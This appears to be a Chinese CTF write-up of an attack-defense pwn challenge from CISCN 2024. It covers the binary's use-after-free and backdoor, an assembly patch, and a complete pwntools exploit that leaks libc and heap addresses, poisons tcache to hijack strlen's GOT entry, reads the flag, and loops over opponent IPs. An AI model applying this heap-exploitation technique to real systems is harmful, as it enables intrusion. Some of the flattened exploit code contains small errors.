支持绿盟.jpg
先吐槽pwn题的靶机
开局修好了文件,发现winscp传东西传不上去(没权限),问裁判咋回事,裁判说这是防止对面打进来删flag删库,把my_heap和flag.txt都设置成root权限了
?这我咋修?
大概差不多十一点,因为我winscp一直连着,这个点能传文件了,但是ssh又被ban了,chmod +x 想都别想
就跟靶机玩了一上午,吃完中饭1点钟才正式开打a(对,因为权限问题解决不了就没有wd了))
第一次线下赛主办方先送中饭再开打的
下午送了杯瑞幸还是不错的)
来看题
[ciscn2024 华南pwn1]
保护全开

2.34的libc
漏洞点
存在backdoor
add没有对大小进行限制,但是只能操作一个chunk
delete存在UAF

edit仅有0x8,但是有一次magic,可以泄露backdoor地址以及edit0x10(可以越界)
show会对输出进行一段“加密”,逆一下就好
1 2 3
| output=b"" while len(libcbase)<6: output+=p8((u8(p.recv(1))^(len(libcbase)+153)))
|
fix
system直接改成puts。(看平台,这个可能check不过,队友直接把这个backdoor给nop掉了)
add没修
delete的UAF修法:先把eh_frame段的flag改为7,使其可执行,在上面利用keypatch写下以下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| call 0x10E0 ;call free@plt push rbp mov rbp, rsp
mov rax, cs:buf mov rdi, rax;get chunk_ptr
xor r8,r8 push r8 pop rax mov cs:buf,rax nop
jmp 0x13BD;跳回main
|
再把原来的free改为jmp到自己写的代码上即可
break
没有控制大小和UAF,利用unsortedbin可以泄露libc地址
然后可以改strlen为backdoor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| from pwn import * from pwn import p64,u64,p8,u8
context(arch='amd64', os='linux')
libc = ELF('libc.so.6')
def cmd(choice): p.recvuntil("edit") p.sendline(str(choice))
def add(size): cmd(1) p.recvuntil("which one you choose?") p.sendline(str(1)) p.recvuntil("size:") p.sendline(str(size))
def add_1(): cmd(1) p.recvuntil("which one you choose?") p.sendline(str(2))
def delete(): cmd(2)
def show(): cmd(3)
def edit(content): cmd(4) p.recvuntil("edit data:") p.send(content)
def exp(): add(0x430) add_1() delete() add_1() show() p.recvuntil("the data:") libcbase=b"" while len(libcbase)<6: libcbase+=p8((u8(p.recv(1))^(len(libcbase)+153)))
libcbase=u64(libcbase.ljust(8,b'\x00'))-0x21b0e0 success("libcbase: %s",hex(libcbase)) strlen_got=libcbase+libc.got['strlen']
add(0x70) delete() show() p.recvuntil("the data:") key=b"" while len(key)<6: key+=p8((u8(p.recv(1))^(len(key)+153))) key=u64(key.ljust(8,b'\x00')) heapbase=key<<12 success("heapbase: %s",hex(heapbase)) tcache=heapbase+0xc0 addr=heapbase+0x290 success("addr: %s",hex(addr)) success("tcache: %s",hex(tcache))
cmd(5) p.recvuntil("0x") backdoor=u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) base=backdoor-0x12be buf=base+0x0000000000004040 success("backdoor: %s",hex(backdoor)) success("base: %s",hex(base)) p.recvuntil("edit data:") p.send(p64(0)*2) delete() edit(p64(buf^key)) add(0x70) add(0x70) edit(p64(strlen_got)) edit(p64(backdoor))
p.sendline("cat flag.txt")
for i in range(0,255): global ip,p ip = '172.16.75.{i}' p = (ip,9999) exp()
|